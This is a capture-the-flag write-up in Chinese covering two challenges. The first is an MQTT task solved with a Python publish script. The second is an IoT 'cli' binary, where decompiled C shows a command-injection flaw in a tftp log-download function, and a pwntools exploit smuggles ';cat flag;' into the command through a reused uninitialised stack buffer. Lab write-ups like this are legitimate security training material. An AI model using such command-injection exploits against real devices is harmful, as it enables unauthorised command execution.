tqmm
Mqtt 协议题目,看公布靶机端口只有 9999 ,没有 mqtt 服务的默认端口 1883 ,扫了一下实际上 1883 也是开的。nc 链接上去输出提示,但是 topic 显示为空,一开始摸不着头脑。
尝试了接收 2022/hatlab/flag、2022/hatlab/getflag 等等操作。看到 publish me 感觉还是发布订阅主题,message 确定是:oiU7m9ipyqFdzkUFb1vfkabZ7IqiAefslrc3ovql2dA =。但是 topic 和 subscribe 是什么在来回折腾,最后试出来了应该是发布一个 topic 为 2022/hatlab/flag ,message 为 oiU7m9ipyqFdzkUFb1vfkabZ7IqiAefslrc3ovql2dA= 。

EXP
mosquitto 用不来,找了个 python 脚本发布:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | import paho.mqtt.client as mqtt
 
 HOST = "114.5.12.26"
 PORT = 1883
 
 def test():
 client = mqtt.Client()
 client.connect(HOST, PORT, 30)
 client.publish("2022/hatlab/flag","oiU7m9ipyqFdzkUFb1vfkabZ7IqiAefslrc3ovql2dA=",2)
 client.loop_forever()
 
 if __name__ == '__main__':
 test()
 
 | 
XH-Link
binwalk 解压缩之后根目录下有一个 cli ,通过 xinetd.conf 可以知道维持运行的就是这个 cli ,或者可以找找 root 下内动没有可以运行程序,都是 busybox ld 出来的指令,分析入口就是 cli 。
cli 类似于传统 pwn 题目,通过命令行交互,提供了几个功能。Hint:与栈溢出无关、可以反弹 shell 。那么目标就锁定在调用 system、pope 容易 RCE 的地方。经过分析,sub_10C5C 这个函数就是统一进行系统调用的函数。

需要执行的命令由 sub_116B4 接收和过滤非法字符,能够让命令并行执行的符号都被过滤。虽然换行符没有被过滤,但是输入换行符之后会结束输入,无法写入第二题命令。

输入字符串中函数非法字符串会返回 -1 并退出。但是在 download_logs 输入 ip 时,并没有相关的 if 判断

也就是输入非法字符串依然会运行,但字符串会在非法字符串处被截断,即无法输入第二条命令。但是存储 ip address 的 v3 是没有初始化的:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 
 | int sub_11344(){
 int v0;
 char v2[8];
 char v3[32];
 char v4[4096];
 struct stat stat_buf;
 char haystack[104];
 
 printf("Enter the log filename: > ");
 if ( sub_116B4((int)haystack, 100u) == 1 )
 {
 if ( strstr(haystack, "../") || strstr(haystack, "flag") )
 {
 v0 = -2;
 }
 else
 {
 memset(v4, 0, sizeof(v4));
 if ( sub_11AB4("/var/log/cli_logs", &stat_buf) == -1 )
 {
 puts("Log file no found!");
 v0 = -1;
 }
 else if ( sub_110A4("/var/log/cli_logs", v4, stat_buf.st_size) == -1 )
 {
 sub_10EB0("Log file no found!");
 v0 = -1;
 }
 else if ( sub_11180("/tmp/logs.txt", v4, stat_buf.st_size) )
 {
 sub_10EB0("Log file is empty!");
 v0 = -1;
 }
 else
 {
 printf("Enter a remote ip address: > ");
 sub_116B4((int)v3, 30u);
 puts("Starting download...");
 sprintf(v2, "tftp -p -l %s -r %s %s", "/tmp/logs.txt", "/tmp/logs.txt", v3);
 v0 = sub_10C5C(v2);
 if ( v0 != 1 )
 {
 sub_10EB0("System error!");
 v0 = -1;
 }
 }
 }
 }
 else
 {
 sub_10EB0("Filename is illegal!");
 v0 = -2;
 }
 return v0;
 }
 
 | 
如果连续两次调用 download_logs v3 会被分配同一个栈地址,就能通过两次写入将第二条命令写进去
| 12
 3
 
 | first	:aaaaaaacat flag;second	:aaaaaa;
 finally	:aaaaaa;cat flag;
 
 | 
导致最后执行命令变成:ping aaaaaa;cat flag; 
EXP
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 
 | from pwn import *import sys
 context.binary = "./cli"
 context.log_level = "debug"
 
 
 if sys.argv[1] == "r":
 p = remote("114.5.12.24", 9999)
 elif sys.argv[1] == "l":
 p = process(["./qemu-arm-static",
 "-L", "/usr/arm-linux-gnueabi",
 "./cli"])
 else:
 p = process(["./qemu-arm-static", "-g", "1234",
 "-L", "/usr/arm-linux-gnueabi",
 "./cli"])
 
 p.sendlineafter(">","diagnose")
 p.sendlineafter("> ","`")
 
 p.sendlineafter(">","logs_download")
 p.sendlineafter("filename: > ","/var/log/cli_logs")
 p.sendlineafter(">","/var/log/cat flag")
 
 p.sendlineafter(">","logs_download")
 p.sendlineafter("filename: > ","/var/log/cli_logs")
 p.sendlineafter(">","cat flag;")
 
 p.interactive()
 
 |